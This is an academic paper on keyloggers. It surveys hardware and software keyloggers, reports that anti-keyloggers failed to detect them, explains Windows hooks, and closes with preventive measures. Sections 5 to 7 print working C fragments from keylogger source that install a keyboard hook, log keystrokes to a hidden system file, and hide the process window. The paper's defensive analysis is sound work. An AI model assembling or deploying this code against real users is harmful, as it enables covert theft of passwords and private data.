Keyloggers: The Overlooked Threat to Computer Security

Kishore Subramanyam, Charles E. Frank, Donald H. Galli
Department of Mathematics and Computer Science
Northern Kentucky University
Highland Heights, KY 41099
{subramanyamk, frank, galli}@nku.edu

ABSTRACT
Keyloggers are hardware or software that record keystrokes. They represent a serious threat to the privacy of computer users. We installed and tested various keyloggers and examined keylogger code. We also reviewed what is known about keyloggers, mainly from Internet sources. This paper provides an analysis of the mechanisms keyloggers use and of why detection is difficult. We provide several recommendations on steps computer users should take.

1. INTRODUCTION
Keyloggers record every keystroke a computer user makes. They are marketed to monitor the computer usage of children or to catch a cheating spouse. They are used to steal credit card and bank account numbers, user names and passwords. They are also used to monitor employees.

Keyloggers can be installed by gaining physical access to the computer or by downloaded programs. Their small footprint in terms of memory and processor utilization makes them practically untraceable. Keyloggers can email or ftp the file containing keystrokes back to a spying person.

Keyloggers do not receive the same attention as viruses and worms. The standard reference on viruses, worms and Trojan Horses [4] devotes one paragraph to keyloggers. Among computer security books, [2] barely mentions keyloggers and [1] and [9] do not mention them at all.

Two recent cases highlight the risk posed by keyloggers. In February, 2003, David Boudreau, a Boston College student, was charged with installing keyloggers on more than 100 university computers [10]. He used information about faculty, students, and staff to steal $2,000. In July 2003, Juju Jiang pleaded guilty to installing keyloggers in twenty Kinko's stores in New York [7]. He remotely captured keystrokes and had been stealing user names and passwords for two years before he was caught.

2. HARDWARE KEYLOGGERS
Hardware keyloggers come in several shapes and forms. They can be an external attachment between the keyboard and the port. These are a piece of cable with a small cylinder in colors to match the keyboard cable. They take less than a minute to install. Since they are placed on the back of the computer, they are hard to spot. Also, hardware keyloggers can be a device placed inside the unit next to the keyboard port or inside the keyboard itself. These devices are physically invisible to the computer's user.

Many vendors sell hardware keyloggers. We tested the $99 KeyGhost Std with 512K of flash memory [5]. Contrary to our expectations, Windows did not detect the KeyGhost attached between the keyboard and the I/O port as a new device nor did show up in the device list.

3. SOFTWARE KEYLOGGERS
A variety of keyloggers can be found by searching for "keylogger" using a search engine. Software keyloggers can also be downloaded for free from any keylogger forum [3]. For this project we tried both commercial as well as free software keyloggers.

A software keylogger can be installed on a machine with Administrator privileges. They come in various forms. A keylogger can be an executable written in Visual Basic. It can be a device driver that replaces the existing I/O driver with embedded key logging functionality. Most commonly, keyloggers are written in C/C++ using Windows hooks.

We tested Raytown, Ghost, Amecisco, KmInt21 software keyloggers. Each of them worked differently but the end result was the same. They logged keystrokes and mouse clicks and wrote them to a file. They had the option of encrypting and decrypting the log files and the option of sending the file to a destination across the Internet.

None of them showed up in the Task Manager or in the list of processes. The keyloggers' log files were hidden. These log files were hard to distinguish from operating system files even when doing a directory listing of hidden files.

4. ANTI-KEYLOGGERS
Anti-keyloggers are software that purports to detect keyloggers. We installed and tested Raytown and Spydex anti-keyloggers. The anti-keyloggers did not detect any of the software keyloggers or the KeyGhost hardware keylogger. The only exception was the Raytown anti-keylogger detected its own Raytown keylogger. The reason is that there are many ways for keyloggers to work and hide themselves.

Internet discussion groups [3] note that anti-keyloggers that detect many keylogger have a very high rate of false positives.

These anti-keyloggers monitor programs using Windows hooks, and hooks are legitimately used by many functions.

5. WINDOWS HOOKS

A Windows hook [3, 8] is the core of many keyloggers. A hook is a point in the system message-handling mechanism where an application can install a procedure to intercept message traffic before it reaches a target Window procedure. A hook procedure has the following prototype.

```
LRESULT CALLBACK HookProc(
 int nCode,       // specifies the action
                  // to be performed
 WPARAM wParam,   // parameter depending on
                  // nCode
 LPARAM lParam    // parameter depending on
                  // nCode
);
```

A *hook chain* is a list of pointers to *hook procedures*. When a message occurs that is associated with a particular type of hook, the system passes the message to each hook procedure referenced in the hook chain, one after the other.

A hook procedure can monitor or modify a message passing through a hook chain. It can also prevent the message from reaching the next hook procedure or the target window procedure.

The *SetWindowsHookEx* function installs an application-defined hook procedure at the beginning of the hook chain. It has the following function prototype:

```
HHOOK SetWindowsHookEx(
  int idHook,       // specifies the hook
                    // type
  HOOKPROC lpfn,    // pointer to hook
                    // procedure
  HINSTANCE hMod,   // pointer to dll
                    // containing the hook
                    // procedure
  DWORD dwThreadId  // identifier of
                    // associated thread
);
```

We examined the source code of several keyloggers found at [6]. If one learns how to use Windows hooks, keyloggers are not difficult to write. They do not require much code.

Here is the *InstallHook* function from one of the keyloggers. It associates the log file and installs the keyboard logging procedure *KeyboardProc* in the hook chain by calling *SetWindowsHookEx*.

```
BOOL WINAPI InstallHook(BOOL overwrite)
{
    if(overwrite)  // overwrites the log
                   // file?
    {
       SetFileAttributes((LPCTSTR)filename,
                  FILE_ATTRIBUTE_ARCHIVE);
       f1 = fopen(filename, "w");
       fclose(f1);
    }

    // set the hidden property for the
    // log file
    SetFileAttributes((LPCTSTR)filename,
              FILE_ATTRIBUTE_HIDDEN|
              FILE_ATTRIBUTE_SYSTEM);

    // call win API to install hook
    hkb = SetWindowsHookEx(WH_KEYBOARD,
       (HOOKPROC)KeyboardProc,hInstance,0);

    return TRUE;
 }
```

6. THE WH_KEYBOARD HOOK

Of the fifteen different hook types, WH_KEYBOARD and WH_MOUSE are important for writing a keylogger. We describe the WH_KEYBOARD hook type. The *WH_KEYBOARD* hook enables an application to monitor message traffic for the *WM_KEYDOWN* and *WM_KEYUP* messages that are about to be returned by the *GetMessage* or *PeekMessage* functions. This hook can be used to monitor keyboard input posted to a message queue via the *KeyboardProc* hook procedure. The operating system calls this procedure whenever an application calls the *GetMessage* or *PeekMessage* function and there is a keyboard message (*WM_KEYUP* or *WM_KEYDOWN*) to be processed. It has the following function prototype:

```
LRESULT CALLBACK KeyboardProc(
  int code, // specifies how to process a
            // message
  WPARAM wParam, // virtual-key code of key
                 // generating message
  LPARAM lParam  // repeat count, scan
                 // code, extended-key
                // flag, context code,
                // previous key-state flag
                 // and transition-state
                 // flag
);
```

Here is the code of KeyboardProc from one of the keyloggers. It opens the log file and writes the character. When necessary, it calls the *ToAscii* function to translate the specified virtual-key

code and keyboard state to the corresponding character or characters.

```
LRESULT WINAPI CALLBACK KeyboardProc(
             int nCode, WPARAM wParam,
             LPARAM lParam)
{
       char ch;
       char locname[80];
       strcpy(locname,filename);

       if (((DWORD)lParam & 0x40000000
             &&(HC_ACTION==nCode))
       {
              if((wParam==VK_SPACE)||

              (wParam==VK_RETURN)||
              (wParam>=0x2f ) &&
              (wParam<=0x100))
              {
                f1=fopen(locname,"a+");
                if (wParam==VK_RETURN)
                {
                     ch='\n';
                     // copy character to
                     // log file
                     fwrite(&ch,1,1,f1);
                 }
                 else
                {
                // array receives the
                // status data for each
                // virtual key
                BYTE ks[256];
                GetKeyboardState(ks);
                WORD w;
                UINT scan;
                scan=0;
                ToAscii(wParam,scan,
                             ks,&w,0);
                ch =char(w);
                // copy character to log
                // file
                fwrite(&ch,1,1,f1);

                }
                fclose(f1);
              }
       }

       LRESULT RetVal = CallNextHookEx(
            hkb, nCode, wParam, lParam );

       return  RetVal;
}
```

When an event occurs that is monitored by a particular type of hook, the operating system calls the procedure at the beginning of the hook chain. Each hook procedure in the chain determines whether to pass the event to the next procedure. A hook procedure passes an event to the next procedure by calling the *CallNextHookEx* function.

7. HIDING THE KEYLOGGER

There are many ways to hide a running keylogger from showing up in the task manager or the list of processors. Here is one way to hide it by opening a hidden window on start up and setting the required parameters.

```
WNDCLASSEX wincl;

wincl.hInstance = hInstance;
wincl.lpszClassName = name;
wincl.lpfnWndProc = WndProc;

// Make all window properties zero.
// This will make the window invisible.
wincl.style = 0;
wincl.cbSize = sizeof(WNDCLASSEX);
wincl.hIcon = NULL;
wincl.hIconSm = NULL;
wincl.hCursor = NULL;
wincl.lpszMenuName = NULL;
wincl.cbClsExtra = 0;
wincl.cbWndExtra = 0;
wincl.hbrBackground = 0;
wincl.lpszMenuName = NULL;

if(!RegisterClassEx(&wincl)) return 0;

// Make all display parameters
// (e.g height and width) zero.
// This will make it invisible from the
// taskbar
hwnd =  CreateWindowEx(0,(LPCTSTR)name,"",
  0,0,0,0,0,HWND_DESKTOP,NULL,
  hInstance,NULL);

ShowWindow(hwnd,SW_HIDE);
```

8. PREVENTIVE MEASURES

We have found that keyloggers are practically impossible to track once installed. However, there are several preventive measures that can be taken.

1. Most Windows users should have restricted privileges by making them part of the User group.
2. The Administrator group should have very few entities, and they should have strong password policy.

3. No one should ever connect to Internet or even the internal network while logged in to the computer as an administrator. This gives network eavesdroppers *carte blanche* access to the machine and the opportunity to remotely install software.
4. The computer's keyboard port should be inspected to see if a hardware keylogger is attached.

9. CONCLUSION

Keyloggers are simple to write and simple to install. They are easily acquired by browsing the Internet [3, 6] or can be purchased at a modest price. Anti-keyloggers are ineffective. The best that can be done to prevent key logging is to adopt good security practices and to perform physical checks for hardware keyloggers.

10. REFERENCES

[1] Cole, Eric, *Hackers Beware*, New Riders Publishing, 2002.
[2] Garfinkel, S., Spafford, G., and Schwartz, A., *Practical Unix & Internet Security*, O'Reilly & Associates, 3rd edition, 2003.
[3] Google groups, http://www.google.com/groups
[4] Grimes, Roger A., *Malicious Mobile Code*, O'Reilly & Associates, 2001, (p. 190).
[5] Keyghost, http://www.keyghost.com
[6] Keylogger source code, http://www.planetsourcecode.com
[7] "Kinko's spyware case highlights risk of public Internet terminals", http://www.siliconvalley.com/mld/siliconvalley/news/6359407.htm
[8] Microsoft developer network, http://msdn.Microsoft.com
[9] Pfleeger, C.and Pfleeger, S., *Security in Computing*, 3rd edition, Prentice Hall, 2003.
[10] "Student charged after college computers hacked", http://www.xatrix.org/article2641.html